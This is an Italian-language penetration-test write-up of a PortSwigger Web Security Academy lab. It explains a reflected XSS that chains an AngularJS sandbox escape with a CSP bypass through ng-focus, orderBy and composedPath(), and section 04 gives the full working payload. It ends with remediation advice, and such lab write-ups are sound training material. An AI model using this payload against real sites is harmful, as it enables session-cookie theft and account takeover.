LEONARDO ONORI
JUNIOR PENETRATION TESTER · VULNERABILITY ANALYST

leonardoonori1@gmail.com
github.com/leonardoonori1-ops

REPORT TECNICO · CROSS-SITE SCRIPTING

Reflected XSS — AngularJS sandbox escape + bypass CSP

Esecuzione di codice tramite client-side template injection

Target	0a3b003d...web-security-academy.net
Categoria OWASP	A03:2021 – Injection (XSS)
Classificazione CWE	CWE-79 – Cross-site Scripting
Severità	HIGH · Expert
Analista	Leonardo Onori
Data	15 ottobre 2026
Strumenti	Kali Linux, Burp Suite, Exploit server

Documento a scopo formativo — Leonardo Onori. Attività svolta su istanza di laboratorio autorizzata (PortSwigger Web Security Academy).

01 Executive Summary

L'applicazione riflette l'input di ricerca in una pagina basata su **AngularJS** protetta da **Content Security Policy**. L'attacco combina tre bypass in un unico payload per eseguire `alert(document.cookie)` nel browser della vittima.

PARAMETRO	ANGULARJS
`search`	1.4.4 (ng-csp)
CSP	**CONSEGNA**
script-src 'self'	Exploit server

02 Analisi del contesto

- **CSP** `script-src 'self'` : nessuno script esterno, nessun dominio terzo da sfruttare per JSONP.
- **ng-csp**: AngularJS in modalità CSP-compatibile, `$eval()` disabilitato → il sandbox escape classico non funziona.

L'input è riflesso come testo nei risultati di ricerca, in una zona compilata da Angular. Un primo tentativo con `{{$on.constructor('alert(1)')()}}` è stato riflesso come testo letterale, non valutato: serve iniettare HTML con un handler Angular.

03 Il vettore: ng-focus + orderBy

Si inietta un elemento `<input>` con attributo `ng-focus` . Angular lo compila come handler di template (non evento DOM `on*`), quindi **la CSP non lo blocca**. Il frammento `#x` nell'URL porta il focus automatico sull'elemento, scatenando l'evento.

- `|` in AngularJS è un'operazione di filtro (`orderBy`), non un OR bitwise.
- `$event.composedPath()` restituisce l'array di elementi dell'evento; l'ultimo è l'oggetto `window` .
- L'assegnazione `(z=alert)` invoca `alert` nello scope di window senza nominarlo, aggirando la window detection.

> **AGGIORNAMENTO BROWSER**
> Da Chrome 109 la proprietà `path` è stata rimossa: la soluzione funzionante usa `composedPath()` .

04 Payload

Da inserire nell'exploit server (sostituendo YOUR-LAB-ID), poi Store → Deliver exploit to victim:

```
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
```

05 Catena dei tre bypass

Difesa	Come viene aggirata
CSP script-src 'self'	HTML con handler Angular ng-focus (template, non evento DOM)
Sandbox AngularJS ($eval disabilitato)	$event.composedPath() + filtro orderBy per raggiungere window
Window detection	**Assegnazione (z=alert): chiama alert nello scope di window senza nominarlo**

06 Impatto e remediation

Esecuzione di JavaScript arbitrario nel contesto della vittima: furto di cookie di sessione, azioni per conto dell'utente, account takeover. Essendo reflected e consegnabile via link, basta che la vittima apra l'URL.

- **Encoding contestuale** dell'output; non inserire input in pagine processate da template engine lato client.

- **Dismettere AngularJS 1.x** (end-of-life); le versioni recenti non espongono il sandbox.
- **CSP rigorosa** abbinata alla sanificazione dell'input (difesa in profondità).